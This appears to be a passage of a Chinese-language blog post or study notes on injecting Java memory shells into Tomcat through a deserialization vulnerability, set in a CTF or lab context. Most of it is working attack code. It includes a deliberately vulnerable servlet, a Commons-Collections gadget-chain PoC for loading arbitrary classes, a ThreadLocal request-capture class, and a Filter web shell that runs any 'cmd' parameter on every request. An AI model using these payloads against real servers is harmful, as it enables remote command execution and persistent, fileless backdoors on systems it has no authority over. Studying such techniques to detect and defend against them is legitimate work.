org.apache.tomcat.util.net.AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) handlerField.get(protocolHandler);

//获取内部类AbstractProtocol$ConnectionHandler的global属性
Field globalHandler = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
globalHandler.setAccessible(true);
RequestGroupInfo global = (RequestGroupInfo) globalHandler.get(handler);

//获取processors
Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processorsField.setAccessible(true);
List<RequestInfo> requestInfoList = (List<RequestInfo>) processorsField.get(global);

//获取request和response
Field requestField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
requestField.setAccessible(true);
for (RequestInfo requestInfo : requestInfoList){

//获取org.apache.coyote.Request
org.apache.coyote.Request request = (org.apache.coyote.Request) requestField.get(requestInfo);

//通过org.apache.coyote.Request的Notes属性获取继承HttpServletRequest的org.apache.catalina.connector.Request
org.apache.catalina.connector.Request http_request = (org.apache.catalina.connector.Request) request.getNote(1);
org.apache.catalina.connector.Response http_response = http_request.getResponse();

PrintWriter writer = http_response.getWriter();
String cmd = http_request.getParameter("cmd");

InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
String result = scanner.hasNext()?scanner.next():"";
scanner.close();
writer.write(result);
writer.flush();
writer.close();
}


} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
}
}
}

反序列化注入内存马

在CTF中,我们注入内存马的目的往往是为了获取不出网机器的回显,而内存马的注入往往是通过反序列化漏洞,下面就是一个例子

环境搭建

下面我们先来搭建一个存在反序列化漏洞的环境,编写一个存在反序列化漏洞的Servlet。这里JDK版本为jdk8u_65

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;


@WebServlet("/unserial")
public class Unserial_Servlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
byte[] data = Base64.getDecoder().decode(req.getParameter("data"));
ByteArrayInputStream inputStream = new ByteArrayInputStream(data);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
try {
System.out.println(objectInputStream.readObject());
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}

@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doPost(req,resp);
}
}

依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.11</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>4.0.1</version>
<scope>compile</scope>
</dependency>
<dependency>
<groupId>javax.servlet.jsp</groupId>
<artifactId>jsp-api</artifactId>
<version>2.1</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.91</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>9.0.91</version>
</dependency>
</dependencies>

去往/unserial路由报500是正常的

我们看上面的Servlet代码可知就是一个正常的cc反序列化漏洞,所以这种解法这里就不展示了

那么当不出网的时候,我们就需要注入内存马了

任意类加载

首先我们需要一个任意类加载的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class Cc3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E:\\mycode\\tmp\\Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// instantiateTransformer.transform(TrAXFilter.class); //它的class类型可以序列化,该行代码运行可以弹出计算器
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "b");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = c.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object o = ctor.newInstance(Target.class, transformedMap);
// serialize(o);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

注入内存马

在前文Tomcat内存马部分,我们是通过执行JSP文件来写入内存马的。但是由于JSP内置了一些request对象,因此我们很容易获取当前线程的回显。如果我们通过反序列化漏洞注入内存马的话,就需要参考上文提到的回显方式手动获取request对象了。

这里我们构造的反序列化漏洞可以进行任意类加载,因此我们构造一个恶意类来注入内存马,这里我们以Filter型内存马为例。

获取Request对象

我们首先通过上文的回显技术来获取当前线程的request对象,这里我以ThreadLocal方式为例,构造如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
package Tomcat_Echo_memShell;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.ApplicationFilterChain;

import javax.servlet.ServletResponse;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;

public class Tomcat_Echo_inject_ThreadLocal extends AbstractTranslet {

static {
try {

//反射获取所需属性
java.lang.reflect.Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
java.lang.reflect.Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
java.lang.reflect.Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");

//使用modifiersField反射修改final型变量
java.lang.reflect.Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);

//将变量WRAP_SAME_OBJECT_FIELD设置为true,并初始化lastServicedRequest和lastServicedResponse变量
if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null)) {
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
}

if (lastServicedRequestField.get(null) == null) {
lastServicedRequestField.set(null, new ThreadLocal<>());
}

if (lastServicedResponseField.get(null) == null) {
lastServicedResponseField.set(null, new ThreadLocal<>());
}


//获取response变量
if (lastServicedResponseField.get(null) != null) {
ThreadLocal threadLocal = (ThreadLocal) lastServicedResponseField.get(null);
ServletResponse servletResponse = (ServletResponse) threadLocal.get();
PrintWriter writer = servletResponse.getWriter();
writer.write("Inject ThreadLocal Successfully!");
writer.flush();
writer.close();
}
} catch (Exception e) {
e.printStackTrace();
}
}


@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

我们将这个恶意类发送过去之后,会初始化lastServicedRequestlastServicedResponse属性为ThreadLocal类,下面我们就可以通过该类获取request对象了

注入Filter内存马

下面我们依靠上文获取到的request对象进行后续注入工作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
package Tomcat_Echo_memShell;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterChain;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.InvocationTargetException;

public class Tomcat_Echo_inject_Filter extends AbstractTranslet implements Filter {

static {
try {
ServletContext servletContext = getServletContext();
java.lang.reflect.Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
java.lang.reflect.Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);


Tomcat_Echo_inject_Filter filter = new Tomcat_Echo_inject_Filter();
String name = "ShellFilter";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);


FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);


java.lang.reflect.Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
java.util.Map filterConfigs = (java.util.Map) Configs.get(standardContext);

java.lang.reflect.Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(org.apache.catalina.Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);

} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (InstantiationException e) {
e.printStackTrace();
}
}


public static ServletContext getServletContext() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
java.lang.reflect.Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
lastServicedRequestField.setAccessible(true);
ThreadLocal threadLocal = (ThreadLocal) lastServicedRequestField.get(null);
if(threadLocal!=null && threadLocal.get()!=null){
ServletRequest servletRequest = (ServletRequest) threadLocal.get();
return servletRequest.getServletContext();
}
return null;
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
response.setContentType("text/html; charset=UTF-8");
PrintWriter writer = response.getWriter();
if (cmd != null) {
try {
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();

//将命令执行结果写入扫描器并读取所有输入
java.util.Scanner scanner = new java.util.Scanner(in).useDelimiter("\\A");
String result = scanner.hasNext()?scanner.next():"";
scanner.close();
writer.write(result);
writer.flush();
writer.close();
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
chain.doFilter(request, response);
}
}

示例

这里我们仍以上文的漏洞环境为例,首先我们将Tomcat_Echo_inject_ThreadLocal类发送过去,初始化属性。

image-20250515202304179

第一次请求时会报500,这是由于CC链本身的缘故。再一次发包,结果如下,说明此时我们能够从ThreadLocal对象中获取request了

接着我们再把filter内存马传进去

仍会报500,不过不要紧,此时我们的内存马已经注入进去了

image-20250515202525842

结语

内存马还是比较难懂,还是得多回来复习复习

参考

Java安全学习——内存马